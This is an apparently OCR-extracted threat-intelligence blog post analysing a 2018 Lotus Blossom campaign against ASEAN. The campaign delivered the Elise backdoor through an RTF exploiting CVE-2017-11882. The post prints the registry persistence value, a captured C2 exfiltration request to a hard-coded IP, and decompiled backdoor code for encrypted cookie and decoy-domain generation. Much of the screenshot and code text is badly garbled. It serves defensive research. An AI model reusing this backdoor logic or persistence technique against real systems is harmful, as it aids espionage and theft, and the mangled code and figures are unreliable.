Lotus Blossom Continues ASEAN Targeting
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February 13, 2018

During the last weeks of January (2018), nation state actors from Lotus Blossom conducted a targeted
malspam campaign against the Association of Southeast Asian Nations (ASEAN) countries. Just
months after the APT32 watering_hole activity against ASEAN-related websites was observed in Fall
2017, this new activity clearly indicates the association (ASEAN) clearly remains a priority collection
target in the region. This new Lotus Blossom campaign delivers a malicious RTF document posing as
an ASEAN Defence Minister's Meeting (ADMM) directory (decoy) that also carries an executable
(payload) embedded as an OLE object, the Elise backdoor.
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ADMM-Plus Defence Officials Directory

Monday,07 August201702:51

ADMM-Plus
Defence Ministers Defence Semior Officials Defence Working Group Officials
Countries
His Majesty Sultan Haji Haszamal Bolkh Mr. Haji Adi Thramn bin Dato Paduka
Capt. (Retired) Abd Rahman bin
Mn'izzaddin Waddanlah ibni Al-Machum Haji Mabmmd
Beprwan Mudim Daro Paduka Eaji
Brunei Sultan Director of Defence Policy,
Bakar
Damssalam Hai Omar Ali Saifuddien Sa"adul Khairi Diractorate of Defence Policy
Permanent Secretary
Waddien Ministry of Defence
Ministey of Defence
Minister of Defemce Fax: 673 2386 872
Maj. Gen Lay Chenda
HE Gen Tea Banh Gen Neang Phat Director of ASEAN Affairs
Cambodia Deputy Prime Manister and Minister of Secretary of State Department
Narional Defance Ministry of Nazional Defence Ministry of Nasional Defance
Fax: 85523 880402
Brig Gen Sunarvo
Vice Admiral Widodo. ML Sc Director for Intemational
HE Ryamizsed Ryacudu
Indonasia Sacretary-Gansnl Caapention
Ainister of Defence
Ministry of Defence Ministry of Defence
Fax: 6221 350 0428
Lt Col Phavyvank Chanthaphomma
EBG Khamsy Vongkhamsao Deputy Director-Genenl of Foreipn
HE.Let Gen Chansamone Chanyalath
LaoPDR Permament Secrstary of Defance Relations Depastment
Minister of National Defence
Mfinistry of National Dafence Mizistry of Nagional Defence
Fax: 85621911728
Mr Abmad Nadzi bin Mobd Hasran
YBhg Dato Sri Abdul Rabim bin
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https://community.rsa.com/community/products/netwitness/blog/2018/02/13/lotus-blossom-continues-asean-targeting
https://securelist.com/apt-trends-report-q3-2017/83162/
https://www.virustotal.com/#/file/d3fc69a9f2ae2c446434abbfbe1693ef0f81a5da0a7f39d27c80d85f4a49c411/detection

The Elise backdoor is not new malware and has been successfully diagnosed in the past by Industry
researchers (e.g. Palo Alto Unit 42's 2015 report) and more recently by Volexity and Accenture.
Each of these are valuable resources to understanding the Elise malcode, infection

process, and known capabilities of the backdoor. In addition, a current ANY.RUN playback of our
observed Elise infection is also available.

Upon opening of the MS Word document, our embedded file exploits CVE-2017-11882 to drop a
malicious fake Norton Security Shell Extension module, 'NavShExt.dll', which is then injected into
iexplore.exe to install the backdoor, begin collection, and activate command and control.

Source File Name  Source Command Line Event Target Target Path Target File Name
WINWORDEXE | WENWORELENE /"G Decumentiia dmes. dog | open system Process xplones. e CHInSWE, explorertag
lats.eme Open Browser Frocess exploreexe  Ci\Progeam Files (867 Intemet Exploser, ienplore.exe
bexplore. ene beplore. ene Wit to Executable NavSheEtdl  ChUsers SN~ prOuta Foamin giMecras oftiWindows|Caches, HawShEst.anl
iexplone, exe explore.ene Moty Run Key FlastoD HELNS.1-5.21-96073020 22761 505805 B46T3HE40. SlAstorD
svchost.exe wchost.exe -k netswes ‘Open Process EQNEDTIZEXE  Cr\Progeam Files\Common Files\Microsoft Shared\ EQUATION, EQMNEDTI2EXE
oehoit.exe svechost.exe k Deomlaunch Create Frocess EQNEDTZZEXE  C:\Progeam Files' Herasolt JATIGH, EQNEDTILEE
WINWORDUEXE. 'WENWORDUEXE /n " C:\Lbsers) \Dotumentsiadmmdos  Wiite to Executable ab CLsers\MIKE~1 SEC\AppDatailocalTempt, ab
ATER e Create Frodess Frhetese CWIndows Syrtem3T, wchedt.ene
explorer.ene ‘Open Process WINWORDUEXE  C:\Progeam Files\Microtoft Office\Officel 41 WINWORDLENE
555 exe ‘Open Process WINWORD.ENE  Ci\Progeam Files\Microsoft Office\Officel 4\ WINWORDUEXE
¥ehoit ene wehoitene -k netives Open Process WINWORD.ENE  C\Progeam Filer\Microtoft Office\Officel 41 WINWORDUEXE
WINWORD.EXE WINWORDUEXE /n “C\Lisers! \Dotuments\admm.doc  Modify Internet Zone Settings S1400 HELNS.1.5.21 560730202, BAETHAEA0.1. Set.. $1400
WINWORD.EXE WENWORDUEXE /n " C\L#93! crumentiiadmmdor Moy Internet Zong Settings SIC00 HELNS-1-5-21 9607302027761 508308 346724240 Set.. B1C00

5 Create Process SearchfiterHo.. CUWindows\System3, SearchFimerHost. ene
explorer.exe Create Process WINWORDENE  C/\Progeam Files\Microsaft Otfice\Oficel 8, WINWORD.EXE
Fenioer et Create Process taskhod. e CAWInd s \Syrtem3Ty taskhodt ene

Moving through the infection process, NetWitness Endpoint detects the initial exploit (CVE-2017-1182)
in action as the Microsoft Equation Editor, 'EQNEDT32.exe', scores high for potentially malicious
activity. This same process was also flagged in our any.run playback.

Wiew  About P
= a Smeitttind
= ] Hide Good Files
| = e |
Summary | Elocked | Modules Mistory | Downloaded | Agentlog | ScanData | Morelndo
Fille Hame DOC Score » Risk Score [7] Machine Count  Sigriature Hah Logkup Status Comment
EQNEDTIZ EXE ® = ] 1 Walik Microsoft Corporation Good -
[ ® 2 L] ] Walict Micresoft Windaws Geod
vehost.exe ® u o 2 Walid: Microsoft Windaws Goad
bexplone.exe ® w (] 1 Walid: Microsoft Corporation Geod
moupdate_Genuinelnteldll ® 1w 1 Walic: Microsoft Windows =
st iyt ® 1] ] ] Walick Micresoft Windows Geod
raserverene ® o 1 Walidk Micrasoft Windows Good
GROOVEEXE ® = 1 1 Walik Microsoft Corporation Good
P ® 1 2 Walict Micronoft Windows
rtoskmilene 5 L] i Valig: Microsoft Windows Geod
ROPREFMP.sys ] ] 2 Walidk Microsoft Windows Good
SyEmon ent 3 ] 1 Waligk Migreselt Corparation Gead o
544 items tatal Ll "
* /] [Status] <> ‘Whitelisted Ecit Fitter

Descrigtion 10C Level » Bins Status Ewent Time » Source Fath Source Fde Hame  Source Command Lime Exerit

Creates process and creates femote thiead on 1 Heutral = N 12902018 400158 AWM CAWdows\System3 T, Terdces ene Create Process =
Likely packed 2 Meutral L29201E TATATTIHAM  CUWindows \Syitem3 2y lemssexe Open Frogess
Progess authorized in firewall 2 Hetral 12972018 T 346961 AM  CiWindows\System3 2, (LR Open Frocess
Madilies run key H Heutial L/23/2008 T:A3A6599 AW CAWINdows\Syitem3) services.exe Create Process
Duplicate sedion name L] Meutral CAWImdowr\Syrtem3 T, rehast. e wrhertent & Doosiaunch Create Procest
Compiled in last month 3 Meutral CAWIndows\ System3 2, lsm.eme Open Syitem Pr.
Autorun 3 Meutral CWIndows!\System3 2, Isassene Open System Pr.
Network access 3 Meutral L292018 TAAAST4 AM  CUWINdows \System3]y, SErAces. ene Create Process
Metwork listen 3 Meutral 12972018 T:13:45.605 AWM C\Program Files\Microsoft Office’Officel WINWORDHEXE WINWORD.EXE /n “C\Wrers I Open System Pr.
Netification regintered 3 Heutral /2902018 TASASA14 AM  COWIndows\System3 2y, lsass.exe Open Browser FY
T 3 Mectral TT———— = e e c . e
Bure backe mansnsment fanl L] Maahal -
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https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/research/unit42-operation-lotus-blossom
https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/
https://www.accenture.com/t20180127T003755Z__w__/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf#zoom=50
https://app.any.run/tasks/05b68865-529e-44e4-882f-0c184b162f12
https://www.cvedetails.com/cve/cve-2017-11882
https://www.virustotal.com/#/file/6dc2a49d58dc568944fef8285ad7a03b772b9bdf1fe4bddff3f1ade3862eae79/detection
https://www.cvedetails.com/cve/cve-2017-11882

b ADVANCED DETAILS OF PROCESS

EQNEDT32.EXE

Warsion Information:

INDICATORS OF SUSPICIOUS BEHAVIOUR

Application loaded dropped or rewritten executable

Equation Editor starts application (CVE-2017-11862)

Starts Intemnet Explorer

FRIENDLY @ RAW

REGISTRY CHANGES 1

WARE \Microsoft\Windows\CurrentVersion\Install
\UserDa 5-18\Products\8@@84189E608984808000008PAFE1FEC Usage
EquationEditorFilesIntl_1
1278935843

Our malware then spins up an instance of 'iexplore.exe' and injects 'NavShExt.dll' into that process.
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https://www.virustotal.com/#/file/6dc2a49d58dc568944fef8285ad7a03b772b9bdf1fe4bddff3f1ade3862eae79/detection

Show Whitelisted

Hide Good Files

I T
| Summary l Blocked | Modules History | Downloaded ] Agentiog | SecnCsts | Morelnfe
Categary i Rems Suipect
Live !
Procestes 35 5 File Name 0OC Score » RiskScore[7]  Machine Count Registry Path
DAL 3 7 NawShExt.dil ® & = 1 HKEY_CURRENT 3 f\C reion\Run SIASID -
Deivers 129 ™ ehimitp exe 2 F] 2 HKEY_LOCAL_ MACHINE S RE Setugiinstalled C 45 D164 463 ¢ AFFY . ASODIESI0FDS] S5tubPath
Ievatritory T-op.an 1 1 1 HEEV_LOCAL MACHINE Software' Classes\ ™ SheSEx\ ContextMenuHandbers 7 -Zip $CL5ID
Auteruns n 2 wmtoolsd.ene 1 1 1 HKET_LOCAL MACHINE SOFTWARE Andows\C \fun & Process
Services “ns a7 TRMMon.all 1 1 1 HKEY_LOCAL | INE'STSTEM Current T e Controf ThimPrint Print Port Monitor for ViPWane SDrver
Tasks & & 7.op.41 1 1 1 HEEY_LOCAL MACHINE e | Shell ExtensionsApproved ©[23170F69 4001 -2T8A.1000 00010002
Hosts o v wsocklibLou 1 1 1 HKET_LOCAL MACHINE System CurrentControFSer Senvices \WinSockZ Parsmeters Protocol_Catslogs\Catalog_Entriess4\000000000013 SF
Files 7 %02 wiocklib.gn 1 1 1 HEEY_LOCAL_MACHINE Syitem CurremtControlSet Senvicer WinSock T Parameters Protocol_Catslogd Catslog Entries 000000000013 SPac
Anomaly wiocklib.dn 1 i 1 HEEY_LOCAL MACHINE System CurrentCantrol WWinSackd rotocol_CatalogSCatalog_ Entries64'000000000012 $P
Image Hooks 1 r okl 1 1 1 HKET_LOCAL MACHINE System CurentControfSet\Senices \WinSock Farameters Protocol_Catalogs\Catalog_Entriess4/000000000012 &P
Kernel Mooks 3 6 gt o0 1 L ] HEKEY_LOCAL | INE\SYSTEM\CurreriC SeiControf SProviderOrder
Windows Hooks o ) wiockiib.dil i i i HEEY_LOCAL MACHINE System Current Windo Protocol_CatsiogsCatsiog_Entries H0000000001% SPac
Suspicious Thaeads N 1 wocklib.dil 1 1 1 HKET_LOCAL MACHINE System CurentControFSet Senvices WinSock Parsmeters\Protocol_Catslogd\Catalog Entrkes D00000000012 & Fac
Registry Duscrepancies o 0 T-zigp.dil i i i HEEV_LOCAL MACTHINEY oo Clatses Dicecton’ Shelle 7-Zip SCL5ID
Hastory wmhagts. dil 1 1 1 HEEY_LOCAL MACHINESTSTEM, CurrertControlSet\Controf NetworkProvider\ Order @ProviderOrder
[ro— & ) okl 1 1 1 HKET_LOCAL MACHINE System CurmentCantrok 5 7 Protocol_CatalogsCatalog_Entriess 4000000000013 &P
Tracking 146 106 hxdigll 1 [] 1 QAL MACHINE SOFTWARE\Classes Predacsls Handlersi-help @O0 v
T —_— . . L AL A £t i s B i e S TR SRR
® | [Statud] <> “Whitelisted® Edid Filter

| Desenption 1< Level = Event Time * Source Path Source File Name  Source Command Line Event Target
Autosun unsigned in AppDa_. 1 1/29/2018 T-1345.367 AM  C\Progeam Files p6jinternet Explorer) lexplare ene Jexphare.exe Wiite to Executable NavShExt.an
In root of AppDatalocal dire... WINWORD EXE warewoRD £ /n "csers I wiite to Exeoutacie an
Autosun unsigned only file i...
Autosun unsigned only exec...
Sutpetiout AASTIL protie ...
‘Compiled in last month

8 items total 4 "

P -

@ & Show Whitelisted
i Administrative Status | Hide Good Files
— = e
| summary | Biocked | Modules vistory | Downioaded | Agentiog | SanDuts | Morelnfo
Category Rems Sulpet |
Live
Prectises 3% % File Name BOC Stere »  Risk Score [T) Signature Machine Count  Hash Lock.  Downboaded Full Path
Blls 53 7 NavShExt.dil ® 58 Hot Signed 1 - =i l::'-mm--.lnpDalrnoammwummw.w\nmr&nnes'm -
Orivers 149 149 n3 643 55 HotSigned 1 . vl Cwses | AopDataLocan3 ]
Ewentony [FLOATING CODE| ® 1z 1 Hot Signed L - [FLOATING CODE]
Antonme 22 2 EQNEDT3ZEXE ® = ] Walick Microsoft Corporat_.. 1 Good CProgeam File\Common Files\Micrasoft Shared\ EQUATION EQNEDTIZEXE
Senvices 418 a7 lsass.eme ® a Walid: Microsoft Windows i Good CAWIndows Syitem3Zusass. ene
Tasks &5 P fvchost.exe ® ] Valid: Microsolt Windows 2 Good CAWIndews Sytem3Tavehoitene
Hosts ° P ieplore.eve ® w ] Walick Microsott Corporat_ 1 Good C:Program Files (6] Internet Explorerieplore exe
Fibes oy 0w meupdate_Genuinentel.al 1] 1 Walidt Microsoft Windows 2 . CAwindows \Syitem3Timcupdate_Genuinelrteldil
Anomaly dumptve.sys [ ] 9 L] Walid: Microsoft Windows 1 Good Cindows Syatem3ddrivers\dumpve.sys
Image Hooks o 0 agerver et ® ] Walit Micropott Windows 1 Good CAWIndows\SyItem3TuBseraer ene
Kenel Hooks 6 6 GROOVEEXE ® 1 Walick Microsoft Corporat__. 1 Good C\Progeam Files\Microsoft Office\Ofticel4\GROOVE. EXE
Windews Mooks 0 o ntoskrnd fxe 5 ] Walick Microsoft Windows 1 Good CWIndows\Syitem3Z\torkiml exe
Suipicious Theeads 1 1 ROPREFMP.y3 3 a Walick Microsoft Windows 2 Good CAWIndows Sytem3 2 drivers RDPREFMP.5ys
Registry Discrepandies ('] o Syimon.exe 3 L Walid: Microsoft Corporat 1 Good = N oW SyImon. et
Mistory Plauth.sys 3 0 Walick Microsoft Windows ] Good CWindows (Syitem3Xidrivers PEAUth.1ys
Hetwotk & & CompatTelRunner.exe E] ] Walidk Microzolt Windows 1 Good CAWIndows\System3T CompaiTelfunner.exe
Tracking 146 106 services.ene 3 [} Valid: Microtaft Window: 2 Gaod CAWIndews\SyitemdZenices.exe |
L — - 2 . T m——TT— n r— T —————— =
X/ [Btatug] < Whitelisted” Edit Filter
Deseription 10CLevel o Event Time - Sounce Path Source File Mame  Source Command Ling Event Target
Automun unssgned in appla... 1 = 172972018 T:13:45.367 AM  C'\Program Files pS6]Intermet Explorer, iexplore.exe iexplote.exe Write to Executable HawShExt.an
Inroct of AppDatalocal dire... 1 I 129018 TARMTIZAM  C\Progr WINWORD.EXE wireworD.ExE /n CWiers [l Write to Executable ab
Aadanmin isndinned ank fils i 1

While this is happening, the malware establishes persistence by creating an autorun in the registry and
then also creates 'thumbcache 1CD60.db’' at
'Users\admin\AppData\Local\Microsoft\Windows\Explorer\' to store harvested data.
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o Changes the autorun value in the registry

C} Installation registry
+2516ms

HKEY _CURRENT _USER\Software\Microsoft\Windows\CurrentVersion
YRumn

name: IAStorD

operation: write

typeValue: REG_S57

value: C:\Windows\system32\rundll32.exe C:\Users\admin\AppData‘\Roa
ming\Microsoft\Windows\Caches\NavShExt.d11, Setting

time: +2516ms

2 CAUsers\admin\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1CD&0.db “» Download

A Dropped from process Mime: application/octet-stream

2] Look up on VirusTotal Size: 617.00b
TriD - File Identifier Hashes

MD5 | [ B3C352281A7DFB3054ACEBFACCFPICFAG
A1 I0) CD4E3BEBCAFBCITBATEIBIABBCCBACTSFBAF1212
56 |[0) D9841B834BE2107F25169FF246830A03A113B2BF32EBCIDROABAGSFEFF416F29
> [0) 12 :5+C/7+T5dTxIv2LXGKIhIFDBIdGAVT W] vy, Agz /KHZRAMSRATHA : S970/ L tdhuAIwavTAev4 /M2R3g

TYPE UNKNOWN

HEX

Q |eeeooees : Y. -#Yyfuks.B. .0
@oaoea1a : 1a...A{T2a."A>.0
00008028 : ATF| . £AHn R
00000030 : v.9aY2 .5a.Ud.[.a
00000040 : ES.ON-.%. .0a.°..
000000850 : e o1 OE9 . +.J4.
00000060 : AL [Tev;Z. .8
000000870 : 01G2]..AYJ @4 .E4
00006080 : e>.pug.N.Qu..8e..
000000890 : £.b.wb ..71&, .Y%
G0ABReAA : d:.<.-.00.1KB<*2
PEARAARA : yiEx . el . A/0.GEO
@oaBeace : A% <V2-i%. . _h..
@oaeeaDna : élz..-p& &t.Q.UA
0000ORED : +. A..w.ge? i) il
000000Fa : [p0.Le29.2;y0 . 4ii




As the infection process completes, we now observe Elise network activity (e.g., exfil of victim data and
C2) through a conveniently hidden instance of Internet Explorer.

I ‘ & IEXPLORE.EXE 1692 4,13MB  ABC-39C, . \Administrator  Inkernet Explorer

EEfStartl J cF-Ya # “‘-1_1 Process Hacker [ABC-...

This traffic was also observed in NetWitness Packets, as the malware verifies the host IP address prior
to kicking off C2 out to 103.236.150][.]14, which is likely compromised infrastructure.

2018-01-24T13:18:47  Network 10.10.10.173 - 49167 78.46.94.13: 80 aplipaddress.com ! myip Hetzner Online AG

201801-24T1 31848 Network 10.10.10.173 : 49169 103.236.150.14: 80 pdhlinfa Fainmbrmblkr KRSV, PT Exa Rekatek Prosalusi

service id type source destination service
fw-concentrator-cuckoo - Concentrator 22078634 Network Session 10.10.10.173: 49169 103.236.150.14:80 80

I Request & Response ~ = Top To Bottom £ View Text # actions ~ = Open Event in New Tab

POST /ainmbmbk/xgsnv.asp HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

Accept: ®/*

Accept-Encoding: gzip, deflate

Accept-Language: en-US

Cookie: eyexéut=+gIUdN1x+9ZbeeUX6gebIPCvpHUSz5z2z0vaySelf0zXGaw==;

0twx1d1l26=Dyd+DS70347VE3+fAgV1opEY¥zNanZ /wh3ilhLiy6gzpo6kzIRxuiZedocL8gf IMSCMUysAV/20T760mjkBOBI T4KywgyTtUglrPNFpi+OH4po=;
eazzgm=6aJsqzk8cM4Lg2yImE jzNStDoHXmMENM1s 0 iKTveThv3LF1IHWKIhI5 3RQjNIROPPPIEWTHZYFALIc6eXEEr+wip92gNOIdmZgIGWNkF6PNY=;
Host: pdhl.info

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR
3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Content-Length: 3042

©.[.:. 9000905000 .500cO}100g0.Oh.ia! . BO. 9. (:0ep®. 0| VUOLOU. VOO0 /x0 03001

.tg:. .&Qm\jwn.@hﬁim%ﬁ (FIcE. €0.09€.5F9 990d\ 99O OO-GOmPOOn

L1 984

Q9OV. . 00419 . 900x09K?\VOLOQ . VOUNVOFO I+ 9. 29c09. . 9.+ OWOD . KOs. 919009 .00 1909 . OC' . OONOLTOOO|
Vs19<199x.0. QuPOnO ©1900905059.1

H590! 9V 9909964 9-. . Oc-I19en9 9909980t L. 99. 909

@' V199019, [ . cM99< | 92900 .91. €.\ 9619 . ©.9. 66629 O20p. " .O0vh=.009"00.
>HPUOVOLO99-c/ . 9.1_.2909.9 170 . 929 t9Deiq® . 9199 . 996 €. 400 (90O

OHQ>.RSi3€.W |t 9. 99 . bOPY0OOOLL.b QP VO0#:59i 00909, 5.9. : 1 PIOKO [ QPLLIPEOOK!

99 .>00u01900r k9. 1009 5pOr<\y0x. 99. 99 ' €, 4. 9O[F>9. . 19p00Y

©o5\99I. .. 7 QVOEQ. , 9991 90r . 99. 9009 6019.(911.9.9 94| 9ONEO. 9P+ 9909, . OI9O9_.g.2f0rOEPE-
000, %Olpwonmﬂé .29. 9O €. 1pPy 0900 0. 90X §.

/0”91 (0000 UE. 1909 .1x-0:99) O OOL 000019 . 005001 |199c0VIVOLiING% VLI V0000000000059 0. .97
V3974|999 890. 999k 9:19. 9x09-In. 1OrHH209OL. 9O~

9lij(9' 99.09.090.200000cTkOx00 . .=" 01 VOy959 |xuOOEI. OO . €. OO0 OWOHEP:d. 672. 9 0VD/ 2900 . FLOFOOLOD
26. 99 _99.90+9%09.9.9|.

9 EOOnOOO V990V Y . 909092909\ 99 9ROVVVOO . 9VVIOOIOVI (09
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https://community.riskiq.com/search/103.236.150.14

<

alias.host = 'pdhlinfo’

2018 | 3} | 16:48:00 (+00:00) This Week 2018 % 16:47:59 (+00:00)

A visualization

¥

.

Destination IP address (1 value) 2
103.236.150.14 (1)

Service Type (1 value)
HTTR (1)

Hostname Aliases (1 value)
pdhlinfo (1)

Action Event (1 value) 2
post(1)

service Analysis (10 values) P

tld not com net org (1) - http1.1 without referer header (1) - http with binary (1) - http suspicious no cookie (1) - http post no get no referer (1) - http post no get (1) - http post missing content-type (1)
- http not good mozilla (1) - http no referer (1) - http long user-agent (1)

Session Analysis (2 values) P

watchlist port (1) - session size 0-5k (1) - sandbox_outbound_http_unkmown (1) - sandbox outbound traffic (1) - ratio high transmitted (1) - not top 20 dst (1) - first carve not dns (1) - first carve (1)
- exclude_identified (1)

Take note of the cookie set in this HTTP POST, because Lotus Blossom actors go to significant lengths
to protect this data via both B64 encoding and AES encryption. The actual C2 for Elise takes place
over "cookie" code and (rarely) body content.

712



u2y a;

u28 {void =)ah;

ult = this + 34;

uS = this + 188;

uih = @;

memset{&Dst, B, Bx5%u);

if { sub_D3POCF{74, &U27, ul, &u3lh, (uvoid =)al) )

sub D37FBE("AES Encrypt Cookie2 Fail?"};
return 83
¥
ui = ={ DWORD *){uS + 42} + ={ DWORD *){uS + 38) + un;
uiz = @;
memset{&u3d, B, BxFCu);
sub_D3A4F6(&v32, BxFDu, wh, uw7);
vid = a;
memset{&u31, B, Ox18Cul);
U246 = B;
if { sub_D3?OCF{v¥, &u26, &u32, &Gu3B, v28)
1
sub_D37FBE{"AES Encrypt Cookie3 Fail?");
return 8;
;
uB = operator new({Bxz62u};
vl = u27;
U2t ug;
u27y operator new(? * (4 * (((signed int)uv27 + 2} f 3} + 1});
u28 = operator new(2 = (4 = {(v26 + 23 f 3} + 1});
pwszHeaders = (LPCUSTR)1;
viB@ = sub_D3IBLFC{34);
if { viB == -1 )

sub_D37FBE{"AppType Based4Encode Failt");
pwszHeaders = 8;

¥

ul1 = sub_D3BLFC{vo);

uz2h = uil;

if £ vi1 == -1}

1
sub_D37FBE{"1pEnAppHead Base64Encode failt™);
pwszHeaders = 8;
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sub_D37FBE{"m_client_head Base64Encode fail?t"
pwszHeaders = 8;

if { tpwszHeaders )

operator delete{u25});

operator delete{u27};

operator delete{u28);

return 8;
¥
vi3d vi1 + vi2 + vi@ + 1088;
vl (__int1é =)operator new(Bx2088u);
pwszHeaders = (LPCUWSTR)operator new{2 = uvi3};
vi5 = rand(};
ul6 = (unsigned int)sub D322D3{uv15 % 5 + 5, 4);
sub_D3n689{v14, 2608, 2606, L"Cookie: %s=", ul6)};
sub_D3A9BB({pwszHeaders, wid, vil);
sub_D3AAZA{pwszHeaders, vi13, w25, vid@);
operator delete{u25);
v17 = rand{};
u18 = (unsigned int)sub_D322D3{vi7 % 5 + 5, 4});
sub_D3A689{v14, 268, 268, L"; %s=", vi18);
sub D3A93E((_ dint16 =)puszHeaders, v13, vil);
sub_D3IAAZA{pwszHeaders, vi13, w27, vii);
operator delete{u27);
u12 = rand{};
v28 = (unsigned int)sub_D322D3{vi9 % 5 + 5, 4});
sub_D3n689{v14, 268, 268, L"; %s=", v2B);
u21 = {(_ int16 =*)puszHeaders;
sub_D3A9IE({ dint16 =)puszHeaders, ui13, vil});
sub_D3IAA2A{v21, w13, u2B, u26);
operator delete{u2f);
sub_D3A93E{v21, vi13, (__int16 =}L";");
operator delete{uii};
if ( a3 )

u22 = =(ypid ==)(a2 + 16);
else

u22 = ={uoid ==)}{a2? + 12);
*(_ DWORD =){a2 + B) = uvw22;
if { WinHttpAddRequestHeaders{u22, (LPCUWSTR)v21, wcslen{{const unsigned _ int16 =)u21), BxzABBB0888) )

Other infections (from the identical payload) each generated their own decoy domains to populate the
host header, but in every case actually used the same hard-coded IP address, 103.236.150][.]14.
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https://community.riskiq.com/search/103.236.150.14

ve = L. com";
uig L _net™;
v L*".org™;
ui2 L".info";
ul3 = 8;
vl = rand{) % & + 1;
memset{&Dst, B8, 0x206u);
if (vl € 3)
{
u2 randf{) % 5 + 3;
v3 = sub_D32203(v2, 4);

sub_D3I22D3(1, 4);

¥
sub_D3IA9BB{&v13, 268, vwi);

ifF (vl > 1)
{
uh = i - 1;
do
{
sub DIAPIE{&L13, 268, L"."");
uS = rand();
u6 = sub_D322D3(v5S % 5 + 3, 4);
sub DIAYIE{&VI3, 268, vh);
--ul;
¥
while { uvi });
¥
u7 = rand{) % 4;
sub_D3A93E(BU13, 268, (BUI)[2 *= v7]);
return sub_D3A%922(al1, 268, {const char =)L"%s', (unsigned int)&u13);
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suitch { a2 )
{
case 1:
v2 = "abcdefghijklmnopgrstuvwzyz'";
break ;
case 2:
v2 = "ABCDEFGHI JELMHOPQRSTUUWEYZ" ;
break ;
case J:
U2 = "E123456780%;
break ;
case 4:
u2 = "B12345678%abcdefghi jklmnopgqrstuvwzyz";
break ;
default:
u2 = "ABCDEFGHIJKLHNOFQRSTUUWKYZB12345678%abcdefghi jklmnopqrstuvwxyz™;
break;
;
ug = B;
memset{&Dst, B, Bx286u);
u3 = strlen{v2);
uf = B;
memset{&ud, @, Bx206u);
if { a1l >=1 )
{
vh = al;
do
{
vy = rFand(});
sub_D3A922{&u9, 268, (const char =)L""%c™, vZ[ul % vd]);
sub_DIA93E(&vS, Bx184u, &u9);
——uh;

b
while { ub J;
i

return &u7;

After our Elise infection had run for about a day, we were visited by the threat actor. While it's unclear

exactly what the actor may have been looking for, our infected (sandboxed) machine was not it and the
backdoor was deleted.
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+ System

- EventData
UtcTime 2018-01-30 00:11:20.033
ProcessGuid {ABD1D68A-B828-5A6F-0000-001019274000}
Processid 1480
Image C:\Windows\SysWOW64\cmd.exe

CommandLine "C\Windows\system32\cmd.exe" /c del C:\Users\|J ]l ArpData\Roaming\MICROS~1
\Windows\Caches\NavShExt.dll > nul

CurrentDirectory C:\Windows\system32\

User I
LogonGuid {ABD1D68A-6869-5A6F-0000-0020BC7COF00}
Logonld 0xf7cbc

TerminalSessionld 1

Integritylevel Medium

Hashes SHA1=EE8CBF12D87C4D388F09B4F69BED2E91682920B5
ParentProcessGuid {ABD1D68A-686A-5A6F-0000-0010DA051000}

Based on both previous activity and this current Lotus Blossom campaign, it is clear that we
are witnessing the continued rise of cyber tradecraft and activity from nation-states in the Southeast
Asian theater.

Thanks to Kent Backman, Justin Lamarre, and Ahmed Sonbol for their assistance with this research.

The following samples were used for this analysis:

e Malicious RTF
Dropper (SHA256): d3fc69a9f2ae2c446434abbfbe1693ef0f81a5dala7f39d27c¢80d85f4a49c411
o NavShExt.dll (SHA256): 6dc2a49d58dc568944fef8285ad7a03b772b9bdf1fe4bddff3f1ade3862eae79

FirstWatch A BN
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https://community.rsa.com/rsa-users/50487
https://community.rsa.com/rsa-users/66061
https://community.rsa.com/rsa-users/11862
https://www.virustotal.com/#/file/d3fc69a9f2ae2c446434abbfbe1693ef0f81a5da0a7f39d27c80d85f4a49c411/detection
https://www.virustotal.com/#/file/6dc2a49d58dc568944fef8285ad7a03b772b9bdf1fe4bddff3f1ade3862eae79/detection

